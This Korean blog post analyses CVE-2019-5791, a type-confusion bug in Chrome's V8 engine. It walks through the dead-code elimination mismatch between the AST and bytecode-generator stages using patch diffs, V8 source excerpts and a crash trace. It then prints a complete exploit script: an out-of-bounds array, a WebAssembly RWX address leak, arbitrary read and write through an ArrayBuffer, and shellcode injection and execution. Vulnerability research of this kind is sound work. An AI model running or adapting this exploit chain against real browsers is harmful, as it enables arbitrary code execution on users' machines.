본문 바로가기

브라우저

Chrome v8 / CVE-2019-5791

취약점 요약

AST 단계와 Bytecode-generator 단계에서는 각각 Dead-code Elimination을 수행합니다. CVE-2019-5791는 AST 단계와 Bytecode-generator 단계에서 Dead-code Elimination을 수행하는 방식이 달라서 발생한 취약점입니다. AST에서보다 Bytecode-generator에서 Dead-code를 판단하는 기준이 엄격합니다. 따라서 Bytecode-generator에서는 dead-code라고 판단하지 않은 코드를 AST에서는 dead-code라고 판단하는 경우가 발생합니다. 이는 AST와 Bytecode-generator에서 사용하는 Literal_array의 idx값이 달라지게 되고, Type Confusion이 발생하게 됩니다.

 

 

 

 

POC.js

 

const f=
  (v1 = (function() {
    if (not_exist) { return; } else { return; }
    A = function(){}
  }) () ) => 1;

f()

 

 


취약점 분석

패치 내역

Crbug를 보면 취약점이 처음 발생한 커밋을 알 수 있습니다. 해당 링크를 자세히 읽는 것은 취약점을 이해하는데 큰 도움이 됩니다.

https://chromium.googlesource.com/v8/v8/+/7412593920eceebbbc37ef290d1e3fcb168a3c31

링크의 내용을 간단하게 설명하면 다음과 같습니다. Ignition statement list visitor는 점프문에 적중한다면 코드의 남은 부분을 스킵합니다. 이렇게 코드상에서 필요없는 부분을 제거하는 작업을 dead code elemination이라고 부릅니다.

 

	return;
	dead_call(); // skipped

 

	if(2.2) return;
	dead_call(); // not skipped

 

 

Ignition compile 도중에 bytecode array writer 단계에서 두번째 dead code elemination이 진행됩니다. 이때 종료 바이트 코드가 써진 경우, 다음 기본 블록이 시작할 때까지 바이트 코드들은 방출되지 않습니다.

패치 로그를 보면 bytecode array writer 단계에서 Dead-code elimination을 최적화하는 패치라는 것을 이해할 수 있습니다. 이제 코드 레벨에서 무엇이 패치되었는지 살펴보고, 왜 취약점이 발생했는지 알아봅시다.

소스코드 오디팅

패치된 코드의 핵심은 아래와 같습니다. 원래 bytecode-generator 단계와 AST 단계에서 dead code elemination에서 IsJump 문을 사용했습니다. 하지만 패치후 bytecode-generator 단계에서 RemainderOfBlockIsDead을 사용하도록 바꾸었습니다.

 

diff --git a/src/interpreter/bytecode-generator.cc b/src/interpreter/bytecode-generator.cc
index bef3a0a..b31bb82 100644
--- a/src/interpreter/bytecode-generator.cc
+++ b/src/interpreter/bytecode-generator.cc
@@ -1341,7 +1341,7 @@

     RegisterAllocationScope allocation_scope(this);
     Statement* stmt = statements->at(i);
     Visit(stmt);
-    if (stmt->IsJump()) break;
+    if (builder()->RemainderOfBlockIsDead()) break;
   }
 }

 

반면 src/ast/ast-traversal-visitor.h:113를 보면 AST 단계에서 IsJump문을 사용하는 것을 볼 수 있습니다.

 

template <class Subclass>
void AstTraversalVisitor<Subclass>::VisitStatements(
    const ZonePtrList<Statement>* stmts) {
  for (int i = 0; i < stmts->length(); ++i) {
    Statement* stmt = stmts->at(i);
    RECURSE(Visit(stmt));
    if (stmt->IsJump()) break;
  }
}

Bytecode-generator에서 AST와 같이 IsJump를 사용할 때는 취약점이 발생하지 않았다가, RemainderOfBlockIsDead로 바뀌면서 취약점이 발생했습니다. 따라서 IsJump와 RemainderOfBlockIsDead의 차이를 이해하면 Root Cause를 알 수 있습니다.

먼저 RemainderOfBlockIsDead함수를 분석합시다. 해당 함수는 exit_seen_in_block_을 반환합니다.

bool RemainderOfBlockIsDead() const { return exit_seen_in_block_; }

exit_seen_in_block_에 True를 넣는 부분은 UpdateExitSeenInBlock뿐입니다. 바이트 코드 다음 statement를 컴파일할 필요가 없어지는 7개의 바이트코드에 대하여 exit_seen_in_block_를 조건없이 True로 설정하여 Dead-code elimination을 수행합니다.

void BytecodeArrayWriter::UpdateExitSeenInBlock(Bytecode bytecode) {
  switch (bytecode) {
    case Bytecode::kReturn:
    case Bytecode::kThrow:
    case Bytecode::kReThrow:
    case Bytecode::kAbort:
    case Bytecode::kJump:
    case Bytecode::kJumpConstant:
    case Bytecode::kSuspendGenerator:
      exit_seen_in_block_ = true;
      break;
    default:
      break;
  }
}

이제 IsJump함수를 분석합시다. IsJump 함수는 Statement의 종류에 따라 다른 함수가 사용됩니다. POC에서 사용되는 Statement는 IF와 RETURN임으로 이 두 Statement만 분석해봅시다.

IFStatement는 4가지 조건문이 맞을 경우 true를 return합니다.

class IfStatement final : public Statement {
 public:
  bool HasThenStatement() const { return !then_statement_->IsEmptyStatement(); }
  bool HasElseStatement() const { return !else_statement_->IsEmptyStatement(); }

  Expression* condition() const { return condition_; }
  Statement* then_statement() const { return then_statement_; }
  Statement* else_statement() const { return else_statement_; }

  void set_then_statement(Statement* s) { then_statement_ = s; }
  void set_else_statement(Statement* s) { else_statement_ = s; }

  bool IsJump() const {
    return HasThenStatement() && then_statement()->IsJump()
        && HasElseStatement() && else_statement()->IsJump();
  }

조건문 4개를 살펴봅시다. 일단 대충 봐도 어떤 의미의 코드인지 알 수 있습니다. POC.js를 이용하여 디버깅한 결과 모두 True가 반환되었기 때문에 따로 분석하지 않겠습니다. ThenStatement는 IF 조건문이 참일 때, ElseStatement는 조건문이 거짓일 때 실행된다는 것만 안다면 이해할 수 있을 것입니다.

  bool IsJump() const {
    return HasThenStatement() && then_statement()->IsJump()
        && HasElseStatement() && else_statement()->IsJump();
  }

b src/ast/ast.h:918

  • HasThenStatement() → true
  • then_statement()->IsJump() → true
  • HasElseStatement() → true
  • else_statement()->IsJump(); → true

 

ReturnStatement는 IsJump 함수를 JumpStatement에서 상속받습니다. 이렇게 상속받은 함수는 무조건 true를 반환합니다.

class JumpStatement : public Statement {
 public:
  bool IsJump() const { return true; }

 protected:
  JumpStatement(int pos, NodeType type) : Statement(pos, type) {}
};

정리해보면 아래와 같은 표가 완성됩니다.

위 표에서 IsJump 함수와 RemainderOfBlockIsDead 함수가 다른 방식으로 작동하는 부분은 IF문입니다. IsJump가 POC.js에서 True를 반환했으니 RemainderOfBlockIsDead가 False를 반환하면 취약점이 트리거될 것이라고 유추할 수 있습니다.

UpdateExitSeenInBlock함수를 참고하면, RemainerOfBlockDead가 True를 반환하는 바이트 코드는 아래와 같습니다.

  • kReturn
  • kThrow
  • kReThrow
  • kAbort
  • kJump
  • kJumpConstant
  • kSuspendGenerator

하지만 src/interpreter/bytecodes.h에 선언되어 있는 Bytecode들을 보면 IF문에서 사용되는 Bytecode는 위의 7개보다 훨씬 많은 것을 확인할 수 있습니다. 그럼 IF문이 위의 일곱개의 Bytecode 외에 다른 Bytecode를 사용하게 하면 IsJump와 RemainderOfBlockIsDead 가 다르게 동작할 수 있겠군요!

	/* Control Flow -- carefully ordered
 for efficient checks */                 \
  /* - [Unconditional jumps] */                                                \
  V(JumpLoop, AccumulatorUse::kNone, OperandType::kUImm, OperandType::kImm)    \
  /* - [Forward jumps] */                                                      \
  V(Jump, AccumulatorUse::kNone, OperandType::kUImm)                           \
  /* - [Start constant jumps] */                                               \
  V(JumpConstant, AccumulatorUse::kNone, OperandType::kIdx)                    \
  /* - [Conditional jumps] */                                                  \
  /* - [Conditional constant jumps] */                                         \
  V(JumpIfNullConstant, AccumulatorUse::kRead, OperandType::kIdx)              \
  V(JumpIfNotNullConstant, AccumulatorUse::kRead, OperandType::kIdx)           \
  V(JumpIfUndefinedConstant, AccumulatorUse::kRead, OperandType::kIdx)         \
  V(JumpIfNotUndefinedConstant, AccumulatorUse::kRead, OperandType::kIdx)      \
  V(JumpIfTrueConstant, AccumulatorUse::kRead, OperandType::kIdx)              \
  V(JumpIfFalseConstant, AccumulatorUse::kRead, OperandType::kIdx)             \
  V(JumpIfJSReceiverConstant, AccumulatorUse::kRead, OperandType::kIdx)        \
  /* - [Start ToBoolean jumps] */                                              \
  V(JumpIfToBooleanTrueConstant, AccumulatorUse::kRead, OperandType::kIdx)     \
  V(JumpIfToBooleanFalseConstant, AccumulatorUse::kRead, OperandType::kIdx)    \
  /* - [End constant jumps] */                                                 \
  /* - [Conditional immediate jumps] */                                        \
  V(JumpIfToBooleanTrue, AccumulatorUse::kRead, OperandType::kUImm)            \
  V(JumpIfToBooleanFalse, AccumulatorUse::kRead, OperandType::kUImm)           \
  /* - [End ToBoolean jumps] */                                                \
  V(JumpIfTrue, AccumulatorUse::kRead, OperandType::kUImm)                     \
  V(JumpIfFalse, AccumulatorUse::kRead, OperandType::kUImm)                    \
  V(JumpIfNull, AccumulatorUse::kRead, OperandType::kUImm)                     \
  V(JumpIfNotNull, AccumulatorUse::kRead, OperandType::kUImm)                  \
  V(JumpIfUndefined, AccumulatorUse::kRead, OperandType::kUImm)                \
  V(JumpIfNotUndefined, AccumulatorUse::kRead, OperandType::kUImm)             \
  V(JumpIfJSReceiver, AccumulatorUse::kRead, OperandType::kUImm)               \

//중략
#define JUMP_TOBOOLEAN_CONDITIONAL_IMMEDIATE_BYTECODE_LIST(V) \
  V(JumpIfToBooleanTrue)                                      \
  V(JumpIfToBooleanFalse)

#define JUMP_TOBOOLEAN_CONDITIONAL_CONSTANT_BYTECODE_LIST(V) \
  V(JumpIfToBooleanTrueConstant)                             \
  V(JumpIfToBooleanFalseConstant)

#define JUMP_CONDITIONAL_IMMEDIATE_BYTECODE_LIST(V)     \
  JUMP_TOBOOLEAN_CONDITIONAL_IMMEDIATE_BYTECODE_LIST(V) \
  V(JumpIfTrue)                                         \
  V(JumpIfFalse)                                        \
  V(JumpIfNull)                                         \
  V(JumpIfNotNull)                                      \
  V(JumpIfUndefined)                                    \
  V(JumpIfNotUndefined)                                 \
  V(JumpIfJSReceiver)                                   \

#define JUMP_CONDITIONAL_CONSTANT_BYTECODE_LIST(V)     \
  JUMP_TOBOOLEAN_CONDITIONAL_CONSTANT_BYTECODE_LIST(V) \
  V(JumpIfNullConstant)                                \
  V(JumpIfNotNullConstant)                             \
  V(JumpIfUndefinedConstant)                           \
  V(JumpIfNotUndefinedConstant)                        \
  V(JumpIfTrueConstant)                                \
  V(JumpIfFalseConstant)                               \
  V(JumpIfJSReceiverConstant)                          \

#define JUMP_CONSTANT_BYTECODE_LIST(V)         \
  JUMP_UNCONDITIONAL_CONSTANT_BYTECODE_LIST(V) \
  JUMP_CONDITIONAL_CONSTANT_BYTECODE_LIST(V)

AST에서는 IsJump를 사용하기 때문에 dead-code로 처리된 Statement들을 처리하지 않습니다. 하지만 AST 이후에 수행되는 Bytecode-generator에서는 RemainderOfBlockIsDead를 사용하기 때문에 AST에서 dead로 처리된 Statement에 대하여 바이트 코드를 생성합니다.

Currupted Literal array

이제 버그가 발생하는 원인에 대하여 분석하였으니, 왜 이 버그가 취약점으로 이어지는지 살펴봅시다. POC.js를 v8 debug 버전에서 실행하면 아래와 같은 크래시가 발생합니다.

#
# Fatal error in ../../src/objects.cc, line 13893
# Check failed: fun->function_literal_id() < shared_function_infos()->length() (4 vs. 4).
#
#
#
#FailureMessage Object: 0x7ffca6a9fc30
==== C stack trace ===============================

		/home/jjy/v8/v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7fafa315f7ce]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8_libplatform.so(+0x25f67) [0x7fafa30f2f67]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x218) [0x7fafa313ec68]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::Script::FindSharedFunctionInfo(v8::internal::Isolate*, v8::internal::FunctionLiteral const*)+0x2e8) [0x7fafa1efd058]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::Compiler::GetSharedFunctionInfo(v8::internal::FunctionLiteral*, v8::internal::Handle<v8::internal::Script>, v8::internal::Isolate*)+0x43) [0x7fafa15940b3]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::interpreter::BytecodeGenerator::AllocateDeferredConstants(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Script>)+0x48f) [0x7fafa1da088f]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::interpreter::BytecodeGenerator::FinalizeBytecode(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Script>)+0xde) [0x7fafa1da016e]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::interpreter::InterpreterCompilationJob::FinalizeJobImpl(v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x18a) [0x7fafa1dd6f3a]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::UnoptimizedCompilationJob::FinalizeJob(v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x275) [0x7fafa1589665]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(+0xf4c804) [0x7fafa1596804]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(+0xf44505) [0x7fafa158e505]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::Compiler::Compile(v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x8df) [0x7fafa158d9ff]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::Compiler::Compile(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x256) [0x7fafa158e826]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(+0x1b4036b) [0x7fafa218a36b]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*)+0x122) [0x7fafa2189eb2]
    /home/jjy/v8/v8/out.gn/x64.debug/./libv8.so(+0x24b36f2) [0x7fafa2afd6f2]
Received signal 4 ILL_ILLOPN 7fafa315bd91

크래시의 콜스택을 따라가다보면 BytecodeGenerator::AllocateDeferredConstants 함수가 있습니다.

void BytecodeGenerator::AllocateDeferredConstants(Isolate* isolate,
                                                  Handle<Script> script) {
  // Build global declaration pair arrays.
  for (GlobalDeclarationsBuilder* globals_builder : global_declarations_) {
    Handle<FixedArray> declarations =
        globals_builder->AllocateDeclarations(info(), script, isolate);
    if (declarations.is_null()) return SetStackOverflow();
    builder()->SetDeferredConstantPoolEntry(
        globals_builder->constant_pool_entry(), declarations);
  }

  // Find or build shared function infos.
  for (std::pair<FunctionLiteral*, size_t> literal : function_literals_) {
    FunctionLiteral* expr = literal.first;
    Handle<SharedFunctionInfo> shared_info =
        Compiler::GetSharedFunctionInfo(expr, script, isolate);
    if (shared_info.is_null()) return SetStackOverflow();
    builder()->SetDeferredConstantPoolEntry(literal.second, shared_info);
  }

  // Find or build shared function infos for the native function templates.
  for (std::pair<NativeFunctionLiteral*, size_t> literal :
       native_function_literals_) {
    NativeFunctionLiteral* expr = literal.first;
    v8::Isolate* v8_isolate = reinterpret_cast<v8::Isolate*>(isolate);
	//후략
}

AllocateDeferredConstants에서는 FunctionLiteral* expr을 첫번째 인자로 GetSharedFunctionInfo를 호출합니다.

 

Handle<SharedFunctionInfo> Compiler::GetSharedFunctionInfo(
    FunctionLiteral* literal, Handle<Script> script, Isolate* isolate) {
  // Precondition: code has been parsed and scopes have been analyzed.
  MaybeHandle<SharedFunctionInfo> maybe_existing;

  // Find any previously allocated shared function info for the given literal.
  maybe_existing = script->FindSharedFunctionInfo(isolate, literal);

  // If we found an existing shared function info, return it.
  Handle<SharedFunctionInfo> existing;
  if (maybe_existing.ToHandle(&existing)) return existing;

  // Allocate a shared function info object which will be compiled lazily.
  Handle<SharedFunctionInfo> result =
      isolate->factory()->NewSharedFunctionInfoForLiteral(literal, script,
                                                          false);
  return result;
}

GetSharedFunctionInfo에서는 FunctionLiteral* literal을 두번째 인자로 FindSharedFunctionInfo함수를 호출합니다. FindSharedFunctionInfo 함수에서는 CHECK_LT(fun->function_literal_id(), shared_function_infos()->length()); 문을 통해 function_literal_id를 검사합니다. POC.js는 이 검사에서 문제가 발생합니다.

 

MaybeHandle<SharedFunctionInfo> Script::FindSharedFunctionInfo(
    Isolate* isolate, const FunctionLiteral* fun) {
  CHECK_NE(fun->function_literal_id(), FunctionLiteral::kIdTypeInvalid);
  // If this check fails, the problem is most probably the function id
  // renumbering done by AstFunctionLiteralIdReindexer; in particular, that
  // AstTraversalVisitor doesn't recurse properly in the construct which
  // triggers the mismatch.
  CHECK_LT(fun->function_literal_id(), shared_function_infos()->length());
  MaybeObject shared = shared_function_infos()->Get(fun->function_literal_id());
  HeapObject* heap_object;
  if (!shared->GetHeapObject(&heap_object) ||
      heap_object->IsUndefined(isolate)) {
    return MaybeHandle<SharedFunctionInfo>();
  }
  return handle(SharedFunctionInfo::cast(heap_object), isolate);
}

 

주석을 읽어보면 AST을 만들 때 재귀문을 부적절하게 돌 경우 이 검사에 걸린다고 합니다. 해당 검사는 id와 length를 검사했을 때 id가 같거나 클 때 에러를 유발합니다. 왜 POC.js가 이 검사에 걸렸는지 더 부연설명해봅시다.

AST 단계에서는 함수 A가 dead-code elimination에 의해 제거되거 됩니다. 하지만 Bytecode-elimination에서는 함수 A가 제거되지 않고 컴파일됩니다. AST에서 만들어진 function_literal_array의 길이가 len이라고 칩시다. 이 경우 Bytecode-elimination에서는 함수 A만큼 길이가 더해진 len+1만큼 function_literal_array에 접근하려고 합니다. 원래 길이가 len인데 len+1에 접근하려 하기 때문에 검사로직에 걸린 것입니다. 이 설명을 그림으로 나타내면 아래와 같습니다.

 

literal_array에 존재하는 객체의 실제 타입과 Bytecode가 생각하는 타입이 달라지기 때문에 Typeconfusion이 발생합니다. 아래의 Exploit에서는 function인 run를 array로 Type confusion시켜서 OOB를 발생시켰습니다.

 


Exploit

 

crbug에 OOB array를 생성해주는 POC가 있기 때문에 Exploit은 쉽습니다.

 

익스플로잇은 다음과 같은 순서로 진행됩니다.

  1. OOB array 생성
  2. wasm_instance을 이용하여 RWX_PTR 구하기
  3. ArrayBuffer의 backing store를 덮어서 AAW, AAR 얻기
  4. AAR로 RWX_PTR을 읽어서 RWX 영역의 주소를 구한 뒤, 그곳에 쉘코드 삽입
callFn = function (code) { try { code(); } catch (e) { print(e); } }


let array = [1.1,2.2,3.3];
function run(prop, ...args) {
    let handler = {};
    const proxy = new Proxy(function () {}, handler);
    handler[prop] = (({v1 = ((v2 = (function () {
    var v3 = 0;
    var callFn = 0;
    if (asdf) { return; } else { return; }
    (function () { v3(); });
    (function () {
            callFn = "\u0041".repeat(1024*32);
            //test=[1.1]
            v3 = [1.1];
            victim = []


            })
    })) => (1))() }, ...args) => (1));
    Reflect[prop](proxy, ...args);
}


callFn((() => (run("construct", []))));
callFn((() => (run("prop1"))));


var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);


function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
    u64_buf[1] = Number(BigInt(val) >> 32n);
    return f64_buf[0];
}
function hex(val){
    return "0x"+val.toString(16)
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;






//print(run[0x10])
run[0x10] = 0x12131415;
    
if(array.length==1){
	throw "Can't overwrite array's size"
}
   
//console.log(victim)
victim[0]=wasm_instance;
//console.log(victim)
for(var i =0 ;i<0x30;i++){
	leak = ftoi(array[i])
//	print(i+ " = "+hex(ftoi(array[i])))
	if(hex(leak).indexOf("100000000")!=-1){
		print("[*] found!")
		break;
		
	}
}
RWX_ptr = ftoi(array[i+2])+0x298n-1n;
print("[*] RWX_PTR = " + hex(RWX_ptr) );
AARW = new ArrayBuffer(0xceed);
for(var i =0 ;i<0x10000;i++){
 	leak = ftoi(array[i])
//    	print(i+ " = "+hex(ftoi(array[i])))
    	if(hex(leak).indexOf("ceed")!=-1){
		print("[*] found! idx = "+i)
		break;
	}
}
back_idx = i+1
//USE AAR
array[i+1] = itof(RWX_ptr);
view = new DataView(AARW)
RWX_low = view.getUint32(0,true)
//print(hex(RWX_low))
RWX_high = view.getUint32(4,true)
//print(hex(RWX_high))
RWX = BigInt(RWX_low) + (BigInt(RWX_high)<<32n)
print("[*] RWX = "+hex(RWX))
 
//USE AAW
array[i+1] = itof(RWX);
shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];


for(i=0;i<shellcode.length;i++){
   	view.setUint32(i*4,shellcode[i],true);
}
sh()

 

 

 

 

'브라우저' 카테고리의 다른 글

CVE-2020-6383  (0) 2020.11.10
DownUnderCTF 2020 / is-this-pwn-or-web  (0) 2020.09.21
pwn2win 2020 / omnitmizer  (0) 2020.06.03
Chrome v8 / CVE-2020-6418  (1) 2020.04.25
Chrome v8 / CVE-2019-5825  (0) 2020.04.23